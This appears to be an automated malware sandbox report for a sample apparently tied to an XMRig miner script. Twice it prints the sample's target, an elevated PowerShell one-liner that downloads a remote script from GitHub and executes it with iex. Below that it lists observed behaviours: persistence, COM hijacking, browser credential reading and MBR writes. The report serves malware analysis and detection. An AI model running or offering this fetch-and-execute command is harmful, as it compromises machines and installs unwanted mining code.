General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

  • Sample

    241031-pmd7bswqct

Malware Config

Targets

    • Target

      http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Blocklisted process makes network request

    • Boot or Logon Autostart Execution: Active Setup

      Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    • Downloads MZ/PE file

    • Uses Session Manager for persistence

      Creates Session Manager registry key to run executable early in system boot.

    • Event Triggered Execution: Component Object Model Hijacking

      Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    • Executes dropped EXE

    • Loads dropped DLL

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • System Binary Proxy Execution: wuauclt

      Abuse Wuauclt to proxy execution of malicious code.

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Checks whether UAC is enabled

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Installs/modifies Browser Helper Object

      BHOs are DLL modules which act as plugins for Internet Explorer.

    • Legitimate hosting services abused for malware hosting/C2

    • Writes to the Master Boot Record (MBR)

      Bootkits write to the MBR to gain persistence at a level below the operating system.

    • Drops file in System32 directory

MITRE ATT&CK Enterprise v15

Tasks